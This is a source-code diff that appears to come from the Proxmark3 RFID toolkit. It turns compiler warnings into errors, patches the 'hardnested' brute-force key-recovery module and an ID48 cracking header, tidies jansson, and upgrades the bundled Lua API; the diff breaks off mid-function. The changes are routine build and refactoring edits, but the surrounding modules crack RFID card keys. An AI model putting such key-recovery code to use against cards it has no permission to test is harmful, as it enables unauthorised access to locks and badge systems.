target_compile_options(pm3rrg_rdv4_hardnested_avx PRIVATE -Wall -O3) + target_compile_options(pm3rrg_rdv4_hardnested_avx PRIVATE -Wall -Werror -O3) target_compile_options(pm3rrg_rdv4_hardnested_avx BEFORE PRIVATE -mmmx -msse2 -mavx -mno-avx2 -mno-avx512f) set_property(TARGET pm3rrg_rdv4_hardnested_avx PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -77,7 +77,7 @@ if ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST X86_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_avx2 PRIVATE -Wall -O3) + target_compile_options(pm3rrg_rdv4_hardnested_avx2 PRIVATE -Wall -Werror -O3) target_compile_options(pm3rrg_rdv4_hardnested_avx2 BEFORE PRIVATE -mmmx -msse2 -mavx -mavx2 -mno-avx512f) set_property(TARGET pm3rrg_rdv4_hardnested_avx2 PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -92,7 +92,7 @@ if ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST X86_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_avx512 PRIVATE -Wall -O3) + target_compile_options(pm3rrg_rdv4_hardnested_avx512 PRIVATE -Wall -Werror -O3) target_compile_options(pm3rrg_rdv4_hardnested_avx512 BEFORE PRIVATE -mmmx -msse2 -mavx -mavx2 -mavx512f) set_property(TARGET pm3rrg_rdv4_hardnested_avx512 PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -116,7 +116,7 @@ elseif ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST ARM64_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_neon PRIVATE -Wall -O3) + target_compile_options(pm3rrg_rdv4_hardnested_neon PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_hardnested_neon PROPERTY POSITION_INDEPENDENT_CODE ON) target_include_directories(pm3rrg_rdv4_hardnested_neon PRIVATE @@ -134,7 +134,7 @@ elseif ("${CMAKE_SYSTEM_PROCESSOR}" IN_LIST ARM32_CPUS) hardnested/hardnested_bf_core.c hardnested/hardnested_bitarray_core.c) - target_compile_options(pm3rrg_rdv4_hardnested_neon PRIVATE -Wall -O3) + target_compile_options(pm3rrg_rdv4_hardnested_neon PRIVATE -Wall -Werror -O3) target_compile_options(pm3rrg_rdv4_hardnested_neon BEFORE PRIVATE -mfpu=neon) set_property(TARGET pm3rrg_rdv4_hardnested_neon PROPERTY POSITION_INDEPENDENT_CODE ON) @@ -155,7 +155,7 @@ add_library(pm3rrg_rdv4_hardnested STATIC hardnested/hardnested_bruteforce.c $ ${SIMD_TARGETS}) -target_compile_options(pm3rrg_rdv4_hardnested PRIVATE -Wall -O3) +target_compile_options(pm3rrg_rdv4_hardnested PRIVATE -Wall -Werror -O3) set_property(TARGET pm3rrg_rdv4_hardnested PROPERTY POSITION_INDEPENDENT_CODE ON) target_include_directories(pm3rrg_rdv4_hardnested PRIVATE ../../common diff --git a/client/deps/hardnested/hardnested_bf_core.c b/client/deps/hardnested/hardnested_bf_core.c index a84ce0df9..22a476999 100644 --- a/client/deps/hardnested/hardnested_bf_core.c +++ b/client/deps/hardnested/hardnested_bf_core.c @@ -445,6 +445,12 @@ uint64_t CRACK_STATES_BITSLICED(uint32_t cuid, uint8_t *best_first_bytes, statel #if MAX_BITSLICES > 128 && results.bytes64[2] == 0 && results.bytes64[3] == 0 +#endif +#if MAX_BITSLICES > 256 + && results.bytes64[4] == 0 + && results.bytes64[5] == 0 + && results.bytes64[6] == 0 + && results.bytes64[7] == 0 #endif ) { #if defined (DEBUG_BRUTE_FORCE) diff --git a/client/deps/hardnested/hardnested_bruteforce.c b/client/deps/hardnested/hardnested_bruteforce.c index 655ef9dbb..c5d6aef43 100644 --- a/client/deps/hardnested/hardnested_bruteforce.c +++ b/client/deps/hardnested/hardnested_bruteforce.c @@ -177,14 +177,15 @@ crack_states_thread(void *x) { char progress_text[80]; char keystr[19]; - snprintf(keystr, sizeof(keystr), "%012" PRIX64 " ", key); + snprintf(keystr, sizeof(keystr), "%012" PRIX64, key); snprintf(progress_text, sizeof(progress_text), "Brute force phase completed. Key found: " _GREEN_("%s"), keystr); hardnested_print_progress(thread_arg->num_acquired_nonces, progress_text, 0.0, 0); + PrintAndLogEx(INFO, "---------+---------+---------------------------------------------------------+-----------------+-------"); break; } else if (keys_found) { break; } else { - if (!thread_arg->silent) { + if (thread_arg->silent == false) { char progress_text[80]; snprintf(progress_text, sizeof(progress_text), "Brute force phase: %6.02f%% ", 100.0 * (float)num_keys_tested / (float)(thread_arg->maximum_states)); float remaining_bruteforce = thread_arg->nonces[thread_arg->best_first_bytes[0]].expected_num_brute_force - (float)num_keys_tested / 2; @@ -337,7 +338,7 @@ bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint bucket_count = 0; for (statelist_t *p = candidates; p != NULL; p = p->next) { if (p->states[ODD_STATE] != NULL && p->states[EVEN_STATE] != NULL) { - if (!ensure_buckets_alloc(bucket_count + 1)) { + if (ensure_buckets_alloc(bucket_count + 1) == false) { PrintAndLogEx(ERR, "Can't allocate buckets, abort!"); return false; } @@ -375,6 +376,7 @@ bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint thread_args[i].best_first_bytes = best_first_bytes; pthread_create(&threads[i], NULL, crack_states_thread, (void *)&thread_args[i]); } + for (uint32_t i = 0; i < num_brute_force_threads; i++) { pthread_join(threads[i], 0); } @@ -385,11 +387,13 @@ bool brute_force_bs(float *bf_rate, statelist_t *candidates, uint32_t cuid, uint uint64_t elapsed_time = msclock() - start_time; - if (bf_rate != NULL) + if (bf_rate != NULL) { *bf_rate = (float)num_keys_tested / ((float)elapsed_time / 1000.0); + } - if (keys_found > 0) + if (keys_found > 0) { *found_key = found_bs_key; + } return (keys_found != 0); } diff --git a/client/deps/hardnested/hardnested_tables.c b/client/deps/hardnested/hardnested_tables.c index aade0c0cd..7931c5f50 100644 --- a/client/deps/hardnested/hardnested_tables.c +++ b/client/deps/hardnested/hardnested_tables.c @@ -203,6 +203,10 @@ static void write_bitflips_file(odd_even_t odd_even, uint16_t bitflip, int sum_a char filename[80]; snprintf(filename, sizeof(filename), "bitflip_%d_%03" PRIx16 "_sum%d_states.bin", odd_even, bitflip, sum_a0); FILE *outfile = fopen(filename, "wb"); + if (outfile == NULL) { + perror("Error opening file"); + exit(4); + } fwrite(&count, 1, sizeof(count), outfile); fwrite(bitset, 1, sizeof(uint32_t) * (1 << 19), outfile); fclose(outfile); diff --git a/client/deps/id48/id48.h b/client/deps/id48/id48.h index aa8b753b6..87f94a6cc 100644 --- a/client/deps/id48/id48.h +++ b/client/deps/id48/id48.h @@ -124,12 +124,14 @@ typedef struct _ID48LIB_GRN { /// the frn and grn values and store in caller-provided /// output parameters. /// +/// key in 96 bits +/// nonce in 56 bits /// /// Note: In C++, each parameter would be a reference (not pointer). /// void id48lib_generator( - const ID48LIB_KEY *key_96bit, - const ID48LIB_NONCE *nonce_56bit, + const ID48LIB_KEY *k, + const ID48LIB_NONCE *n, ID48LIB_FRN *frn28_out, ID48LIB_GRN *grn20_out ); diff --git a/client/deps/id48lib.cmake b/client/deps/id48lib.cmake index fa57d7855..47205d494 100644 --- a/client/deps/id48lib.cmake +++ b/client/deps/id48lib.cmake @@ -3,7 +3,7 @@ add_library(pm3rrg_rdv4_id48 STATIC id48/id48_generator.c id48/id48_recover.c ) -target_compile_options( pm3rrg_rdv4_id48 PRIVATE -Wpedantic -Wall -O3 -Wno-unknown-pragmas -Wno-inline -Wno-unused-function -DID48_NO_STDIO) +target_compile_options( pm3rrg_rdv4_id48 PRIVATE -Wpedantic -Wall -Werror -O3 -Wno-unknown-pragmas -Wno-inline -Wno-unused-function -DID48_NO_STDIO) target_include_directories(pm3rrg_rdv4_id48 PRIVATE id48) target_include_directories(pm3rrg_rdv4_id48 INTERFACE id48) set_property(TARGET pm3rrg_rdv4_id48 PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/jansson.cmake b/client/deps/jansson.cmake index 42c701d5e..c91a47047 100644 --- a/client/deps/jansson.cmake +++ b/client/deps/jansson.cmake @@ -14,5 +14,5 @@ add_library(pm3rrg_rdv4_jansson STATIC target_compile_definitions(pm3rrg_rdv4_jansson PRIVATE HAVE_STDINT_H) target_include_directories(pm3rrg_rdv4_jansson INTERFACE jansson) -target_compile_options(pm3rrg_rdv4_jansson PRIVATE -Wall -Wno-unused-function -O3) +target_compile_options(pm3rrg_rdv4_jansson PRIVATE -Wall -Werror -Wno-unused-function -O3) set_property(TARGET pm3rrg_rdv4_jansson PROPERTY POSITION_INDEPENDENT_CODE ON) diff --git a/client/deps/jansson/dump.c b/client/deps/jansson/dump.c index afdec8f7a..9c04063e0 100644 --- a/client/deps/jansson/dump.c +++ b/client/deps/jansson/dump.c @@ -440,33 +440,32 @@ int json_dumpfd(const json_t *json, int output, size_t flags) { } int json_dump_file(const json_t *json, const char *path, size_t flags) { - int result; - FILE *output = fopen(path, "w"); - if (!output) + FILE *f = fopen(path, "w"); + if (f == NULL) { return -1; - - result = json_dumpf(json, output, flags); - - if (fclose(output) != 0) - return -1; - - return result; -} - -int json_dump_callback(const json_t *json, json_dump_callback_t callback, void *data, size_t flags) { - int res; - hashtable_t parents_set; - - if (!(flags & JSON_ENCODE_ANY)) { - if (!json_is_array(json) && !json_is_object(json)) - return -1; } - if (hashtable_init(&parents_set)) + int res = json_dumpf(json, f, flags); + + if (fclose(f) != 0) return -1; - res = do_dump(json, flags, 0, &parents_set, callback, data); - hashtable_close(&parents_set); return res; } + +int json_dump_callback(const json_t *json, json_dump_callback_t callback, void *data, size_t flags) { + if (!(flags & JSON_ENCODE_ANY)) { + if (!json_is_array(json) && !json_is_object(json)) { + return -1; + } + } + + hashtable_t parents_set; + if (hashtable_init(&parents_set)) { + return -1; + } + int res = do_dump(json, flags, 0, &parents_set, callback, data); + hashtable_close(&parents_set); + return res; +} diff --git a/client/deps/liblua/Makefile b/client/deps/liblua/Makefile index e2cf7baa3..6207861c3 100644 --- a/client/deps/liblua/Makefile +++ b/client/deps/liblua/Makefile @@ -3,11 +3,10 @@ MYINCLUDES = -I. # Lua lib requires GNU extensions (implicit declarations of functions): -std=gnu99 or -std=gnu11 MYCFLAGS = -Wno-cast-align -Wno-bad-function-cast -Wno-switch-enum MYDEFS = -DLUA_COMPAT_ALL $(SYSCFLAGS) -MYSRCS = lapi.c lcode.c lctype.c ldebug.c ldo.c ldump.c lfunc.c lgc.c llex.c \ - lmem.c lobject.c lopcodes.c lparser.c lstate.c lstring.c ltable.c \ - ltm.c lundump.c lvm.c lzio.c \ - lauxlib.c lbaselib.c lbitlib.c lcorolib.c ldblib.c liolib.c \ - lmathlib.c loslib.c lstrlib.c ltablib.c loadlib.c linit.c +MYSRCS = lapi.c lauxlib.c lbaselib.c lcode.c lcorolib.c lctype.c ldblib.c ldebug.c ldo.c ldump.c \ + lfunc.c lgc.c linit.c liolib.c llex.c lmathlib.c lmem.c loadlib.c lobject.c lopcodes.c \ + loslib.c lparser.c lstate.c lstring.c lstrlib.c ltable.c ltablib.c ltm.c lundump.c \ + lutf8lib.c lvm.c lzio.c SYSCFLAGS= @@ -59,6 +58,6 @@ posix: $(Q)$(MAKE) $(ALL) SYSCFLAGS="-DLUA_USE_POSIX" solaris: - $(Q)$(MAKE) $(ALL) SYSCFLAGS="-DLUA_USE_POSIX -DLUA_USE_DLOPEN" + $(Q)$(MAKE) $(ALL) SYSCFLAGS="-DLUA_USE_POSIX -DLUA_USE_DLOPEN -D_REENTRANT" .PHONY: all $(PLATS) default clean depend none diff --git a/client/deps/liblua/lapi.c b/client/deps/liblua/lapi.c index 26f552d1c..2def6065e 100644 --- a/client/deps/liblua/lapi.c +++ b/client/deps/liblua/lapi.c @@ -1,16 +1,19 @@ /* -** $Id: lapi.c,v 2.171 2013/03/16 21:10:18 roberto Exp $ +** $Id: lapi.c $ ** Lua API ** See Copyright Notice in lua.h */ - -#include -#include - #define lapi_c #define LUA_CORE +#include "lprefix.h" + + +#include +#include +#include + #include "lua.h" #include "lapi.h" @@ -34,74 +37,85 @@ const char lua_ident[] = "$LuaAuthors: " LUA_AUTHORS " $"; -/* value at a non-valid index */ -#define NONVALIDVALUE cast(TValue *, luaO_nilobject) -/* corresponding test */ -#define isvalid(o) ((o) != luaO_nilobject) +/* +** Test for a valid index (one that is not the 'nilvalue'). +** '!ttisnil(o)' implies 'o != &G(L)->nilvalue', so it is not needed. +** However, it covers the most common cases in a faster way. +*/ +#define isvalid(L, o) (!ttisnil(o) || o != &G(L)->nilvalue) + /* test for pseudo index */ -#define ispseudo(i) ((i) <= LUA_REGISTRYINDEX) +#define ispseudo(i) ((i) <= LUA_REGISTRYINDEX) -/* test for valid but not pseudo index */ -#define isstackindex(i, o) (isvalid(o) && !ispseudo(i)) - -#define api_checkvalidindex(L, o) api_check(L, isvalid(o), "invalid index") - -#define api_checkstackindex(L, i, o) \ - api_check(L, isstackindex(i, o), "index not in the stack") +/* test for upvalue */ +#define isupvalue(i) ((i) < LUA_REGISTRYINDEX) -static TValue *index2addr(lua_State *L, int idx) { +/* +** Convert an acceptable index to a pointer to its respective value. +** Non-valid indices return the special nil value 'G(L)->nilvalue'. +*/ +static TValue *index2value(lua_State *L, int idx) { CallInfo *ci = L->ci; if (idx > 0) { - TValue *o = ci->func + idx; - api_check(L, idx <= ci->top - (ci->func + 1), "unacceptable index"); - if (o >= L->top) return NONVALIDVALUE; - else return o; + StkId o = ci->func.p + idx; + api_check(L, idx <= ci->top.p - (ci->func.p + 1), "unacceptable index"); + if (o >= L->top.p) return &G(L)->nilvalue; + else return s2v(o); } else if (!ispseudo(idx)) { /* negative index */ - api_check(L, idx != 0 && -idx <= L->top - (ci->func + 1), "invalid index"); - return L->top + idx; + api_check(L, idx != 0 && -idx <= L->top.p - (ci->func.p + 1), + "invalid index"); + return s2v(L->top.p + idx); } else if (idx == LUA_REGISTRYINDEX) return &G(L)->l_registry; else { /* upvalues */ idx = LUA_REGISTRYINDEX - idx; api_check(L, idx <= MAXUPVAL + 1, "upvalue index too large"); - if (ttislcf(ci->func)) /* light C function? */ - return NONVALIDVALUE; /* it has no upvalues */ - else { - CClosure *func = clCvalue(ci->func); - return (idx <= func->nupvalues) ? &func->upvalue[idx - 1] : NONVALIDVALUE; + if (ttisCclosure(s2v(ci->func.p))) { /* C closure? */ + CClosure *func = clCvalue(s2v(ci->func.p)); + return (idx <= func->nupvalues) ? &func->upvalue[idx - 1] + : &G(L)->nilvalue; + } else { /* light C function or Lua function (through a hook)?) */ + api_check(L, ttislcf(s2v(ci->func.p)), "caller not a C function"); + return &G(L)->nilvalue; /* no upvalues */ } } } + /* -** to be called by 'lua_checkstack' in protected mode, to grow stack -** capturing memory errors +** Convert a valid actual index (not a pseudo-index) to its address. */ -static void growstack(lua_State *L, void *ud) { - int size = *(int *)ud; - luaD_growstack(L, size); +l_sinline StkId index2stack(lua_State *L, int idx) { + CallInfo *ci = L->ci; + if (idx > 0) { + StkId o = ci->func.p + idx; + api_check(L, o < L->top.p, "invalid index"); + return o; + } else { /* non-positive index */ + api_check(L, idx != 0 && -idx <= L->top.p - (ci->func.p + 1), + "invalid index"); + api_check(L, !ispseudo(idx), "invalid index"); + return L->top.p + idx; + } } -LUA_API int lua_checkstack(lua_State *L, int size) { +LUA_API int lua_checkstack(lua_State *L, int n) { int res; - CallInfo *ci = L->ci; + CallInfo *ci; lua_lock(L); - if (L->stack_last - L->top > size) /* stack large enough? */ + ci = L->ci; + api_check(L, n >= 0, "negative 'n'"); + if (L->stack_last.p - L->top.p > n) /* stack large enough? */ res = 1; /* yes; check is OK */ - else { /* no; need to grow stack */ - int inuse = cast_int(L->top - L->stack) + EXTRA_STACK; - if (inuse > LUAI_MAXSTACK - size) /* can grow without overflow? */ - res = 0; /* no */ - else /* try to grow stack */ - res = (luaD_rawrunprotected(L, &growstack, &size) == LUA_OK); - } - if (res && ci->top < L->top + size) - ci->top = L->top + size; /* adjust frame top */ + else /* need to grow stack */ + res = luaD_growstack(L, n, 0); + if (res && ci->top.p < L->top.p + n) + ci->top.p = L->top.p + n; /* adjust frame top */ lua_unlock(L); return res; } @@ -113,10 +127,11 @@ LUA_API void lua_xmove(lua_State *from, lua_State *to, int n) { lua_lock(to); api_checknelems(from, n); api_check(from, G(from) == G(to), "moving among independent states"); - api_check(from, to->ci->top - to->top >= n, "not enough elements to move"); - from->top -= n; + api_check(from, to->ci->top.p - to->top.p >= n, "stack overflow"); + from->top.p -= n; for (i = 0; i < n; i++) { - setobj2s(to, to->top++, from->top + i); + setobjs2s(to, to->top.p, from->top.p + i); + to->top.p++; /* stack already checked by previous 'api_check' */ } lua_unlock(to); } @@ -132,10 +147,9 @@ LUA_API lua_CFunction lua_atpanic(lua_State *L, lua_CFunction panicf) { } -LUA_API const lua_Number *lua_version(lua_State *L) { - static const lua_Number version = LUA_VERSION_NUM; - if (L == NULL) return &version; - else return G(L)->version; +LUA_API lua_Number lua_version(lua_State *L) { + UNUSED(L); + return LUA_VERSION_NUM; } @@ -151,87 +165,106 @@ LUA_API const lua_Number *lua_version(lua_State *L) { LUA_API int lua_absindex(lua_State *L, int idx) { return (idx > 0 || ispseudo(idx)) ? idx - : cast_int(L->top - L->ci->func + idx); + : cast_int(L->top.p - L->ci->func.p) + idx; } LUA_API int lua_gettop(lua_State *L) { - return cast_int(L->top - (L->ci->func + 1)); + return cast_int(L->top.p - (L->ci->func.p + 1)); } LUA_API void lua_settop(lua_State *L, int idx) { - StkId func = L->ci->func; + CallInfo *ci; + StkId func, newtop; + ptrdiff_t diff; /* difference for new top */ lua_lock(L); + ci = L->ci; + func = ci->func.p; if (idx >= 0) { - api_check(L, idx <= L->stack_last - (func + 1), "new top too large"); - while (L->top < (func + 1) + idx) - setnilvalue(L->top++); - L->top = (func + 1) + idx; + api_check(L, idx <= ci->top.p - (func + 1), "new top too large"); + diff = ((func + 1) + idx) - L->top.p; + for (; diff > 0; diff--) + setnilvalue(s2v(L->top.p++)); /* clear new slots */ } else { - api_check(L, -(idx + 1) <= (L->top - (func + 1)), "invalid new top"); - L->top += idx + 1; /* `subtract' index (index is negative) */ + api_check(L, -(idx + 1) <= (L->top.p - (func + 1)), "invalid new top"); + diff = idx + 1; /* will "subtract" index (as it is negative) */ } + api_check(L, L->tbclist.p < L->top.p, "previous pop of an unclosed slot"); + newtop = L->top.p + diff; + if (diff < 0 && L->tbclist.p >= newtop) { + lua_assert(hastocloseCfunc(ci->nresults)); + newtop = luaF_close(L, newtop, CLOSEKTOP, 0); + } + L->top.p = newtop; /* correct top only after closing any upvalue */ lua_unlock(L); } -LUA_API void lua_remove(lua_State *L, int idx) { - StkId p; +LUA_API void lua_closeslot(lua_State *L, int idx) { + StkId level; lua_lock(L); - p = index2addr(L, idx); - api_checkstackindex(L, idx, p); - while (++p < L->top) setobjs2s(L, p - 1, p); - L->top--; + level = index2stack(L, idx); + api_check(L, hastocloseCfunc(L->ci->nresults) && L->tbclist.p == level, + "no variable to close at given level"); + level = luaF_close(L, level, CLOSEKTOP, 0); + setnilvalue(s2v(level)); lua_unlock(L); } -LUA_API void lua_insert(lua_State *L, int idx) { - StkId p; - StkId q; - lua_lock(L); - p = index2addr(L, idx); - api_checkstackindex(L, idx, p); - for (q = L->top; q > p; q--) /* use L->top as a temporary */ - setobjs2s(L, q, q - 1); - setobjs2s(L, p, L->top); - lua_unlock(L); +/* +** Reverse the stack segment from 'from' to 'to' +** (auxiliary to 'lua_rotate') +** Note that we move(copy) only the value inside the stack. +** (We do not move additional fields that may exist.) +*/ +l_sinline void reverse(lua_State *L, StkId from, StkId to) { + for (; from < to; from++, to--) { + TValue temp; + setobj(L, &temp, s2v(from)); + setobjs2s(L, from, to); + setobj2s(L, to, &temp); + } } -static void moveto(lua_State *L, TValue *fr, int idx) { - TValue *to = index2addr(L, idx); - api_checkvalidindex(L, to); - setobj(L, to, fr); - if (idx < LUA_REGISTRYINDEX) /* function upvalue? */ - luaC_barrier(L, clCvalue(L->ci->func), fr); - /* LUA_REGISTRYINDEX does not need gc barrier - (collector revisits it before finishing collection) */ -} - - -LUA_API void lua_replace(lua_State *L, int idx) { +/* +** Let x = AB, where A is a prefix of length 'n'. Then, +** rotate x n == BA. But BA == (A^r . B^r)^r. +*/ +LUA_API void lua_rotate(lua_State *L, int idx, int n) { + StkId p, t, m; lua_lock(L); - api_checknelems(L, 1); - moveto(L, L->top - 1, idx); - L->top--; + t = L->top.p - 1; /* end of stack segment being rotated */ + p = index2stack(L, idx); /* start of segment */ + api_check(L, (n >= 0 ? n : -n) <= (t - p + 1), "invalid 'n'"); + m = (n >= 0 ? t - n : p - n - 1); /* end of prefix */ + reverse(L, p, m); /* reverse the prefix with length 'n' */ + reverse(L, m + 1, t); /* reverse the suffix */ + reverse(L, p, t); /* reverse the entire segment */ lua_unlock(L); } LUA_API void lua_copy(lua_State *L, int fromidx, int toidx) { - TValue *fr; + TValue *fr, *to; lua_lock(L); - fr = index2addr(L, fromidx); - moveto(L, fr, toidx); + fr = index2value(L, fromidx); + to = index2value(L, toidx); + api_check(L, isvalid(L, to), "invalid index"); + setobj(L, to, fr); + if (isupvalue(toidx)) /* function upvalue? */ + luaC_barrier(L, clCvalue(s2v(L->ci->func.p)), fr); + /* LUA_REGISTRYINDEX does not need gc barrier + (collector revisits it before finishing collection) */ lua_unlock(L); } LUA_API void lua_pushvalue(lua_State *L, int idx) { lua_lock(L); - setobj2s(L, L->top, index2addr(L, idx)); + setobj2s(L, L->top.p, index2value(L, idx)); api_incr_top(L); lua_unlock(L); } @@ -244,81 +277,83 @@ LUA_API void lua_pushvalue(lua_State *L, int idx) { LUA_API int lua_type(lua_State *L, int idx) { - StkId o = index2addr(L, idx); - return (isvalid(o) ? ttypenv(o) : LUA_TNONE); + const TValue *o = index2value(L, idx); + return (isvalid(L, o) ? ttype(o) : LUA_TNONE); } LUA_API const char *lua_typename(lua_State *L, int t) { UNUSED(L); + api_check(L, LUA_TNONE <= t && t < LUA_NUMTYPES, "invalid type"); return ttypename(t); } LUA_API int lua_iscfunction(lua_State *L, int idx) { - StkId o = index2addr(L, idx); + const TValue *o = index2value(L, idx); return (ttislcf(o) || (ttisCclosure(o))); } +LUA_API int lua_isinteger(lua_State *L, int idx) { + const TValue *o = index2value(L, idx); + return ttisinteger(o); +} + + LUA_API int lua_isnumber(lua_State *L, int idx) { - TValue n; - const TValue *o = index2addr(L, idx); + lua_Number n; + const TValue *o = index2value(L, idx); return tonumber(o, &n); } LUA_API int lua_isstring(lua_State *L, int idx) { - int t = lua_type(L, idx); - return (t == LUA_TSTRING || t == LUA_TNUMBER); + const TValue *o = index2value(L, idx); + return (ttisstring(o) || cvt2str(o)); } LUA_API int lua_isuserdata(lua_State *L, int idx) { - const TValue *o = index2addr(L, idx); - return (ttisuserdata(o) || ttislightuserdata(o)); + const TValue *o = index2value(L, idx); + return (ttisfulluserdata(o) || ttislightuserdata(o)); } LUA_API int lua_rawequal(lua_State *L, int index1, int index2) { - StkId o1 = index2addr(L, index1); - StkId o2 = index2addr(L, index2); - return (isvalid(o1) && isvalid(o2)) ? luaV_rawequalobj(o1, o2) : 0; + const TValue *o1 = index2value(L, index1); + const TValue *o2 = index2value(L, index2); + return (isvalid(L, o1) && isvalid(L, o2)) ? luaV_rawequalobj(o1, o2) : 0; } LUA_API void lua_arith(lua_State *L, int op) { - StkId o1; /* 1st operand */ - StkId o2; /* 2nd operand */ lua_lock(L); - if (op != LUA_OPUNM) /* all other operations expect two operands */ - api_checknelems(L, 2); - else { /* for unary minus, add fake 2nd operand */ + if (op != LUA_OPUNM && op != LUA_OPBNOT) + api_checknelems(L, 2); /* all other operations expect two operands */ + else { /* for unary operations, add fake 2nd operand */ api_checknelems(L, 1); - setobjs2s(L, L->top, L->top - 1); - L->top++; + setobjs2s(L, L->top.p, L->top.p - 1); + api_incr_top(L); } - o1 = L->top - 2; - o2 = L->top - 1; - if (ttisnumber(o1) && ttisnumber(o2)) { - setnvalue(o1, luaO_arith(op, nvalue(o1), nvalue(o2))); - } else - luaV_arith(L, o1, o1, o2, cast(TMS, op - LUA_OPADD + TM_ADD)); - L->top--; + /* first operand at top - 2, second at top - 1; result go to top - 2 */ + luaO_arith(L, op, s2v(L->top.p - 2), s2v(L->top.p - 1), L->top.p - 2); + L->top.p--; /* remove second operand */ lua_unlock(L); } LUA_API int lua_compare(lua_State *L, int index1, int index2, int op) { - StkId o1, o2; + const TValue *o1; + const TValue *o2; int i = 0; lua_lock(L); /* may call tag method */ - o1 = index2addr(L, index1); - o2 = index2addr(L, index2); - if (isvalid(o1) && isvalid(o2)) { + o1 = index2value(L, index1); + o2 = index2value(L, index2); + if (isvalid(L, o1) && isvalid(L, o2)) { switch (op) { case LUA_OPEQ: - i = equalobj(L, o1, o2); + i = luaV_equalobj(L, o1, o2); break; case LUA_OPLT: i = luaV_lessthan(L, o1, o2); @@ -335,83 +370,71 @@ LUA_API int lua_compare(lua_State *L, int index1, int index2, int op) { } -LUA_API lua_Number lua_tonumberx(lua_State *L, int idx, int *isnum) { - TValue n; - const TValue *o = index2addr(L, idx); - if (tonumber(o, &n)) { - if (isnum) *isnum = 1; - return nvalue(o); - } else { - if (isnum) *isnum = 0; - return 0; - } +LUA_API size_t lua_stringtonumber(lua_State *L, const char *s) { + size_t sz = luaO_str2num(s, s2v(L->top.p)); + if (sz != 0) + api_incr_top(L); + return sz; } -LUA_API lua_Integer lua_tointegerx(lua_State *L, int idx, int *isnum) { - TValue n; - const TValue *o = index2addr(L, idx); - if (tonumber(o, &n)) { - lua_Integer res; - lua_Number num = nvalue(o); - lua_number2integer(res, num); - if (isnum) *isnum = 1; - return res; - } else { - if (isnum) *isnum = 0; - return 0; - } +LUA_API lua_Number lua_tonumberx(lua_State *L, int idx, int *pisnum) { + lua_Number n = 0; + const TValue *o = index2value(L, idx); + int isnum = tonumber(o, &n); + if (pisnum) + *pisnum = isnum; + return n; } -LUA_API lua_Unsigned lua_tounsignedx(lua_State *L, int idx, int *isnum) { - TValue n; - const TValue *o = index2addr(L, idx); - if (tonumber(o, &n)) { - lua_Unsigned res; - lua_Number num = nvalue(o); - lua_number2unsigned(res, num); - if (isnum) *isnum = 1; - return res; - } else { - if (isnum) *isnum = 0; - return 0; - } +LUA_API lua_Integer lua_tointegerx(lua_State *L, int idx, int *pisnum) { + lua_Integer res = 0; + const TValue *o = index2value(L, idx); + int isnum = tointeger(o, &res); + if (pisnum) + *pisnum = isnum; + return res; } LUA_API int lua_toboolean(lua_State *L, int idx) { - const TValue *o = index2addr(L, idx); + const TValue *o = index2value(L, idx); return !l_isfalse(o); } LUA_API const char *lua_tolstring(lua_State *L, int idx, size_t *len) { - StkId o = index2addr(L, idx); + TValue *o; + lua_lock(L); + o = index2value(L, idx); if (!ttisstring(o)) { - lua_lock(L); /* `luaV_tostring' may create a new string */ - if (!luaV_tostring(L, o)) { /* conversion failed? */ + if (!cvt2str(o)) { /* not convertible? */ if (len != NULL) *len = 0; lua_unlock(L); return NULL; } + luaO_tostring(L, o); luaC_checkGC(L); - o = index2addr(L, idx); /* previous call may reallocate the stack */ - lua_unlock(L); + o = index2value(L, idx); /* previous call may reallocate the stack */ } - if (len != NULL) *len = tsvalue(o)->len; - return svalue(o); + if (len != NULL) + *len = tsslen(tsvalue(o)); + lua_unlock(L); + return getstr(tsvalue(o)); } -LUA_API size_t lua_rawlen(lua_State *L, int idx) { - StkId o = index2addr(L, idx); - switch (ttypenv(o)) { - case LUA_TSTRING: - return tsvalue(o)->len; - case LUA_TUSERDATA: +LUA_API lua_Unsigned lua_rawlen(lua_State *L, int idx) { + const TValue *o = index2value(L, idx); + switch (ttypetag(o)) { + case LUA_VSHRSTR: + return tsvalue(o)->shrlen; + case LUA_VLNGSTR: + return tsvalue(o)->u.lnglen; + case LUA_VUSERDATA: return uvalue(o)->len; - case LUA_TTABLE: + case LUA_VTABLE: return luaH_getn(hvalue(o)); default: return 0; @@ -420,7 +443,7 @@ LUA_API size_t lua_rawlen(lua_State *L, int idx) { LUA_API lua_CFunction lua_tocfunction(lua_State *L, int idx) { - StkId o = index2addr(L, idx); + const TValue *o = index2value(L, idx); if (ttislcf(o)) return fvalue(o); else if (ttisCclosure(o)) return clCvalue(o)->f; @@ -428,11 +451,10 @@ LUA_API lua_CFunction lua_tocfunction(lua_State *L, int idx) { } -LUA_API void *lua_touserdata(lua_State *L, int idx) { - StkId o = index2addr(L, idx); - switch (ttypenv(o)) { +l_sinline void *touserdata(const TValue *o) { + switch (ttype(o)) { case LUA_TUSERDATA: - return (rawuvalue(o) + 1); + return getudatamem(uvalue(o)); case LUA_TLIGHTUSERDATA: return pvalue(o); default: @@ -441,30 +463,39 @@ LUA_API void *lua_touserdata(lua_State *L, int idx) { } +LUA_API void *lua_touserdata(lua_State *L, int idx) { + const TValue *o = index2value(L, idx); + return touserdata(o); +} + + LUA_API lua_State *lua_tothread(lua_State *L, int idx) { - StkId o = index2addr(L, idx); + const TValue *o = index2value(L, idx); return (!ttisthread(o)) ? NULL : thvalue(o); } +/* +** Returns a pointer to the internal representation of an object. +** Note that ANSI C does not allow the conversion of a pointer to +** function to a 'void*', so the conversion here goes through +** a 'size_t'. (As the returned pointer is only informative, this +** conversion should not be a problem.) +*/ LUA_API const void *lua_topointer(lua_State *L, int idx) { - StkId o = index2addr(L, idx); - switch (ttype(o)) { - case 